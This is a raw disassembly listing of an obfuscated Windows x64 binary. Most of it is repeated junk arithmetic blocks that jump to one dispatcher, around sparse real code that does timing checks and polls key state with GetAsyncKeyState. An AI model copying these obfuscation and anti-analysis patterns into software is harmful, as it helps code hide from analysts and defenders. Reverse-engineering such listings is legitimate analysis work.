add eax, 0xd6be97e0
xor eax, 0xcc8da8e7
rol eax, 0x5c
popf
jmp 0x14001bbec
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d168
push rax
pushf
mov eax, 0x164bcf73
pushf
not eax
add eax, 0x81e53aab
xor eax, 0xb98f095f
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xffbe6971
xor eax, 0xe57b91a3
rol eax, 0x59
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x98142308
pushf
not eax
add eax, 0xe79c2182
xor eax, 0xb42e79a7
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf2130ad8
xor eax, 0xa9979e96
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xea13a96b
xor eax, 0xf9e71403
rol eax, 0x68
popf
pushf
not eax
add eax, 0xac9fa8a6
xor eax, 0x84a77dd5
rol eax, 0x7d
popf
jmp 0x14001bbec
mov rdx, rdi
mov rcx, rsi
call fcn.140023e67
push rax
pushf
mov eax, 0x7f38becd
pushf
not eax
add eax, 0x85e75253
xor eax, 0xd30fec8e
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xaf2e940d
xor eax, 0xbb7236be
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xc5f7dccb
xor eax, 0xe59a3ce2
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xbefe1e0b
xor eax, 0xa314baa8
rol eax, 0xf7
popf
jmp 0x14001bbec
mov rsi, qword [rbx]
mov qword [rbp - 0x41], rsi
mov rax, qword [rbx + 8]
mov qword [rbp - 0x39], rax
mov rdi, qword [rbx + 0x10]
mov qword [rbp - 0x31], rdi
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
push rax
pushf
mov eax, 0x197b10e0
pushf
not eax
add eax, 0xe94c703b
xor eax, 0xb65417c1
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd80eca60
xor eax, 0x85e48bfe
rol eax, 0xf3
popf
jmp 0x14001bbec
mov rcx, qword [rbp - 0x79]
test rcx, rcx
je 0x14001d2c9
push rax
pushf
mov eax, 0x13fb086e
pushf
not eax
add eax, 0xaf50fc9a
xor eax, 0xbff26451
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xdefe0ca0
xor eax, 0xb78acce4
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xdf3163b4
xor eax, 0xad71660a
rol eax, 0xff
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xe9be890b
pushf
not eax
add eax, 0xa9e52d96
xor eax, 0x8a3de08a
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc26e0fec
xor eax, 0xb510efcf
rol eax, 0x71
popf
pushf
not eax
add eax, 0x897310dd
xor eax, 0xc4d5561f
rol eax, 0xf0
popf
jmp 0x14001bbec
mov rdx, qword [rbp - 0x69]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d36c
push rax
pushf
mov eax, 0xd94779c8
pushf
not eax
add eax, 0xe4487ee0
xor eax, 0xf5ff82a4
rol eax, 0xec
popf
pushf
not eax
add eax, 0xea497cb9
xor eax, 0xcec23227
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9c3b215c
xor eax, 0x94c3ba75
rol eax, 0x1b
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xb8b4fa3e
pushf
not eax
add eax, 0xc1ba8679
xor eax, 0xa914142b
rol eax, 0x38
popf
pushf
not eax
add eax, 0xf6e4a7b5
xor eax, 0xe578961c
rol eax, 0xaf
popf
jmp 0x14001bbec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d3eb
push rax
pushf
mov eax, 0x2b112646
pushf
not eax
add eax, 0xb1d3f7d4
xor eax, 0xaa989074
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xe3cf4eb3
xor eax, 0xb6ae5220
rol eax, 0x1f
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x46bfc1d8
pushf
not eax
add eax, 0x951ae412
xor eax, 0xfd44b79f
rol eax, 0xca
popf
pushf
not eax
add eax, 0xeabcfb71
xor eax, 0xbdb302cf
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xfc040c43
xor eax, 0xe1621210
rol eax, 9
popf
pushf
not eax
add eax, 0xdec03262
xor eax, 0xce1477dd
rol eax, 0x2b
popf
jmp 0x14001bbec
call fcn.140023e67
push rax
pushf
mov eax, 0x610a9448
pushf
not eax
add eax, 0xe3a179a3
xor eax, 0xa0678899
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb3a4cdf6
xor eax, 0xd8e68813
rol eax, 0xd
popf
jmp 0x14001bbec
mov ecx, dword [rsi]
test ecx, ecx
jne 0x14001d517
cmp dword [rsi + 4], ecx
je 0x14001d4be
push rax
pushf
mov eax, 0xafd6cecb
pushf
not eax
add eax, 0x85fa1d8a
xor eax, 0xe7be49e0
rol eax, 5
popf
pushf
not eax
add eax, 0xcd1f3332
xor eax, 0x89fe476b
rol eax, 0xe9
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xe29cd875
pushf
not eax
add eax, 0x962288bd
xor eax, 0xb1f605b8
rol eax, 0x42
popf
pushf
not eax
add eax, 0xbf837949
xor eax, 0xae0bf301
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xc4b656ad
xor eax, 0xaac6b516
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x8df90047
xor eax, 0xd69592ea
rol eax, 0xcc
popf
jmp 0x14001bbec
xor r8d, r8d
mov edx, dword [rsi + 4]
call fcn.140029814
push rax
pushf
mov eax, 0x6014ddb1
pushf
not eax
add eax, 0xcdf257d9
xor eax, 0xca4f8c8c
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb183e8be
xor eax, 0xd3b01f42
rol eax, 0xa6
popf
jmp 0x14001bbec
lea rcx, [rbp - 0x49]
call fcn.140014115
test al, al
je 0x14001d595
push rax
pushf
mov eax, 0x815f6fc0
pushf
not eax
add eax, 0xd1eed978
xor eax, 0xf66448b8
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x82ffb8c6
xor eax, 0x8e234ca4
rol eax, 0x75
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x9803149e
pushf
not eax
add eax, 0xa63d1201
xor eax, 0x8e3fe8fd
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xb4ea1073
xor eax, 0xb9961523
rol eax, 0x76
popf
pushf
not eax
add eax, 0xb76e263c
xor eax, 0xe435f3ad
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x8112194d
xor eax, 0x9a224423
rol eax, 0x89
popf
jmp 0x14001bbec
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x59], r15
lea rcx, [rbp - 0x59]
jmp 0x14001d5fb
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rbp - 0x29]
jmp 0x14001d606
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x29]
sub rax, qword [rbp - 0x21]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm6
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp - 0x59]
divsd xmm1, xmm0
comisd xmm1, xmm7
ja 0x14001d68c
push rax
pushf
mov eax, 0x12fc5bb
pushf
not eax
add eax, 0x9860ecb6
xor eax, 0xf0242f09
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xea9cc000
xor eax, 0x8ae8e613
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa3995dc3
xor eax, 0xd34c8ce5
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xd2cb9294
xor eax, 0xcf063d24
rol eax, 0xa5
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x5a0884aa
pushf
not eax
add eax, 0x903ad6b6
xor eax, 0xe95442cb
rol eax, 0x80
popf
pushf
not eax
add eax, 0xb27d242f
xor eax, 0x9d5b8a9f
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xcc4cff21
xor eax, 0xbb3672c9
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xb6c8e7e8
xor eax, 0x963fa12f
rol eax, 0x31
popf
jmp 0x14001bbec
nop word [rax + rax]
push rax
pushf
mov eax, 0x23924932
pushf
not eax
add eax, 0xf422d2c9
xor eax, 0xd923f64d
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x93849d5e
xor eax, 0x9a008400
rol eax, 0x65
popf
pushf
not eax
add eax, 0xaea90c19
xor eax, 0xff28ea0b
rol eax, 0x6d
popf
jmp 0x14001bbec
mov rbx, qword [rbp - 0x49]
jmp 0x14001ca92
xor edx, edx
xor ecx, ecx
mov r8d, 0xe8cb3597
pushf
not r8d
add r8d, 0xe923e8c2
xor r8d, 0xd216e5e2
rol r8d, 0x51
popf
pushf
not r8d
add r8d, 0xaebc1051
xor r8d, 0x9f6532bb
rol r8d, 0xf
popf
pushf
not r8d
add r8d, 0x822070ea
xor r8d, 0xd590a1c2
rol r8d, 0xed
popf
call fcn.140029814
lea rcx, [rbp - 0x21]
jmp 0x14001d7df
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rbx, qword [rbp - 0x49]
jmp 0x14001ca92
mov ecx, 0x8d158d86
pushf
not ecx
add ecx, 0xb939c463
xor ecx, 0x855e1d02
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xaa6df15d
xor ecx, 0xab9d917a
rol ecx, 0x85
popf
pushf
not ecx
add ecx, 0xb6a01204
xor ecx, 0xdeae4182
rol ecx, 0x9f
popf
jmp 0x14001d879
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001d8d0
push rax
pushf
mov eax, 0xc9a22931
pushf
not eax
add eax, 0x8a06d77a
xor eax, 0xe9ddda05
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf339547a
xor eax, 0xf7b286bc
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xe671fd14
xor eax, 0xc6e36814
rol eax, 0x8a
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x6e7118d0
pushf
not eax
add eax, 0x904cb433
xor eax, 0xd1ca5637
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xd3b2e780
xor eax, 0xd37c6bb7
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xccfe08b8
xor eax, 0xe43b9280
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x85bad4d5
xor eax, 0xba39ecd6
rol eax, 0x14
popf
jmp 0x14001bbec
cvttsd2si r8d, qword [0x14000c778]
add r8d, 9
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x49]
call fcn.1400129ff
mov r14, rax
lea rax, [rbp - 0x41]
cmp rax, r14
je 0x14001d982
push rax
pushf
mov eax, 0x4aea629d
pushf
not eax
add eax, 0xd75e5dd6
xor eax, 0xf69f4306
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x895bc07e
xor eax, 0xe861d4c1
rol eax, 0xc2
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xeb841861
pushf
not eax
add eax, 0xbf7e1ee6
xor eax, 0xf725c534
rol eax, 0xad
popf
pushf
not eax
add eax, 0xf6311520
xor eax, 0xfdb9f084
rol eax, 0xb4
popf
jmp 0x14001bbec
test rsi, rsi
je 0x14001da13
push rax
pushf
mov eax, 0x12bf8056
pushf
not eax
add eax, 0xf6478ba7
xor eax, 0xf84d4010
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc795284d
xor eax, 0xac51d190
rol eax, 0x43
popf
pushf
not eax
add eax, 0xa060a83f
xor eax, 0xff7736c5
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xa2ba9073
xor eax, 0xe19b3d06
rol eax, 0xd6
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x53a7eb10
pushf
not eax
add eax, 0xca4e8a89
xor eax, 0xc94cc682
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x90b86e80
xor eax, 0xe4b9cd40
rol eax, 0x9b
popf
jmp 0x14001bbec
sub rdi, rsi
and rdi, 0xfffffffffffffffc
mov rax, rsi
cmp rdi, 0x1000
jb 0x14001da9f
push rax
pushf
mov eax, 0x3fc27bc7
pushf
not eax
add eax, 0xdf526e76
xor eax, 0xd651509e
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xfd1c8735
xor eax, 0xbeeb1010
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xe94329ee
xor eax, 0xc5a6f9c6
rol eax, 0xd5
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x933a0d67
pushf
not eax
add eax, 0xced576d3
xor eax, 0x9555a258
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xec57ab21
xor eax, 0xd5442f09
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb9998d77
xor eax, 0x9f4f45c1
rol eax, 0xb3
popf
jmp 0x14001bbec
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001db31
push rax
pushf
mov eax, 0x8bbfed2d
pushf
not eax
add eax, 0xaf22c116
xor eax, 0x8df7fdc5
rol eax, 0x38
popf
pushf
not eax
add eax, 0xf5f128d2
xor eax, 0xc843f3a3
rol eax, 0x35
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x2862d138
pushf
not eax
add eax, 0x9e203c7f
xor eax, 0xeaf2bf0c
rol eax, 7
popf
pushf
not eax
add eax, 0x93c34af4
xor eax, 0x95cbf83e
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xd7817c47
xor eax, 0xaac7d465
rol eax, 0xec
popf
jmp 0x14001bbec
mov rdx, rdi
mov rcx, rsi
call fcn.140023e67
push rax
pushf
mov eax, 0xfaa750f2
pushf
not eax
add eax, 0xa7fa847d
xor eax, 0x991b3b4f
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xdf9a4a38
xor eax, 0x9f88bfcd
rol eax, 0x84
popf
jmp 0x14001bbec
mov rsi, qword [r14]
mov qword [rbp - 0x41], rsi
mov rax, qword [r14 + 8]
mov qword [rbp - 0x39], rax
mov rdi, qword [r14 + 0x10]
mov qword [rbp - 0x31], rdi
mov qword [r14], r15
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], r15
push rax
pushf
mov eax, 0xcd732a
pushf
not eax
add eax, 0xd228439c
xor eax, 0x95a0ba42
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xf5254ec1
xor eax, 0x8c860afa
rol eax, 0x5a
popf
jmp 0x14001bbec
mov rcx, qword [rbp - 0x79]
test rcx, rcx
je 0x14001dc46
push rax
pushf
mov eax, 0x91214240
pushf
not eax
add eax, 0xf5a02cd3
xor eax, 0xe18a8092
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xf439b2b8
xor eax, 0xad99afb8
rol eax, 0x9b
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xdb1d3932
pushf
not eax
add eax, 0xd4187672
xor eax, 0xab7fc8e9
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xac28b9b5
xor eax, 0xc036f73a
rol eax, 0x4e
popf
jmp 0x14001bbec
mov rdx, qword [rbp - 0x69]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001dcd6
push rax
pushf
mov eax, 0xc4c6bdf8
pushf
not eax
add eax, 0x90502feb
xor eax, 0xcf32baab
rol eax, 0xf
popf
pushf
not eax
add eax, 0xc9b9242d
xor eax, 0xcbb6c17c
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x9fba90cc
xor eax, 0xc48a3734
rol eax, 0xcb
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x4e4bc9a0
pushf
not eax
add eax, 0xab4e1ed8
xor eax, 0x852bc47d
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x83637d16
xor eax, 0xf9fca3c9
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xaac69a03
xor eax, 0x955f553e
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xc4300ae4
xor eax, 0xe572d37b
rol eax, 0xaf
popf
jmp 0x14001bbec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dd9d
push rax
pushf
mov eax, 0xacd248bc
pushf
not eax
add eax, 0xadc68f5b
xor eax, 0xecd4faeb
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xe3a4b4e5
xor eax, 0xbb2eebec
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf8662fa3
xor eax, 0xf1b5ebf4
rol eax, 7
popf
pushf
not eax
add eax, 0xd7bc285c
xor eax, 0xca8a50f7
rol eax, 0x66
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x231f2ec2
pushf
not eax
add eax, 0xf0418bc6
xor eax, 0xb0849551
rol eax, 0x22
popf
pushf
not eax
add eax, 0x93843864
xor eax, 0xd2431abf
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc973bd1a
xor eax, 0x8a795941
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xef272ae9
xor eax, 0xb9f3f322
rol eax, 0xc3
popf
jmp 0x14001bbec
call fcn.140023e67
push rax
pushf
mov eax, 0x17084169
pushf
not eax
add eax, 0xedc192d7
xor eax, 0xadd86b6e
rol eax, 0x25
popf
pushf
not eax
add eax, 0xf740cbad
xor eax, 0x8b1fcb3d
rol eax, 0x53
popf
jmp 0x14001bbec
mov ecx, dword [rsi]
test ecx, ecx
jne 0x14001de8d
push rax
pushf
mov eax, 0x53fa0266
pushf
not eax
add eax, 0x9a755621
xor eax, 0xe8fd1ec6
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xab8177c6
xor eax, 0xee6ff51d
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xdfbb1ca5
xor eax, 0xb1aa569c
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9eeab14d
xor eax, 0x998d0e9b
rol eax, 0x15
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0xd4e0fc61
pushf
not eax
add eax, 0xc86c5285
xor eax, 0xbfc1ba29
rol eax, 0x76
popf
pushf
not eax
add eax, 0x888dbb7c
xor eax, 0x8eda1272
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xef5cd97e
xor eax, 0xe3b2f8cb
rol eax, 0x74
popf
jmp 0x14001bbec
cmp dword [rsi + 4], ecx
je 0x14001df22
push rax
pushf
mov eax, 0x10965d3d
pushf
not eax
add eax, 0x8093cd4f
xor eax, 0xf122dd80
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xed14daaa
xor eax, 0xc5521dfc
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa7e3974c
xor eax, 0xf06d5984
rol eax, 0xe6
popf
jmp 0x14001bbec
push rax
pushf
mov eax, 0x12a5275
pushf
not eax
add eax, 0xf6dac5e5
xor eax, 0xed6ab7e2
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x87e0d95a
xor eax, 0xfa37fe95
rol eax, 0xac
popf
jmp 0x14001bbec
xor r8d, r8d
mov edx, dword [rsi + 4]
call fcn.140029814
jmp 0x14001ca92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0x5bfe4606
pushf
not eax
add eax, 0xcc2fdde7
xor eax, 0x911f8023
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xd169c0e1
xor eax, 0xca2818ad
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x99a70cc7
xor eax, 0x959fba27
rol eax, 0xaf
popf
jmp 0x14001bbec
mov ecx, 0x8837f669
pushf
not ecx
add ecx, 0xa285bdee
xor ecx, 0xb8611adc
rol ecx, 0x40
popf
pushf
not ecx
add ecx, 0xfc6c91e8
xor ecx, 0xc4bd4a29
rol ecx, 0x61
popf
pushf
not ecx
add ecx, 0xeae87aeb
xor ecx, 0xade27d9f
rol ecx, 0xdf
popf
jmp 0x14001e0b2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
push rax
pushf
mov eax, 0x37f5845f
pushf
not eax
add eax, 0xf28958d4
xor eax, 0xc567d2f7
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd3d91406
xor eax, 0xfa3c3600
rol eax, 0x12
popf
pushf
not eax
add eax, 0xd963ca9d
xor eax, 0xc4cb16e8
rol eax, 0x63
popf
jmp 0x14001bbec
mov dword [rbp - 0x11], r15d
mov ecx, 0xbcfd068
pushf
not ecx
add ecx, 0xdadfe8a3
xor ecx, 0xc6473a00
rol ecx, 0x65
popf
pushf
not ecx
add ecx, 0xf50bf07b
xor ecx, 0x9c753b5e
rol ecx, 0
popf
pushf
not ecx
add ecx, 0xbe26ae6a
xor ecx, 0xf50c5d1f
rol ecx, 0xcd
popf
pushf
not ecx
add ecx, 0xc6ab51bd
xor ecx, 0xb2879f61
rol ecx, 0x47
popf
jmp 0x14001e15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3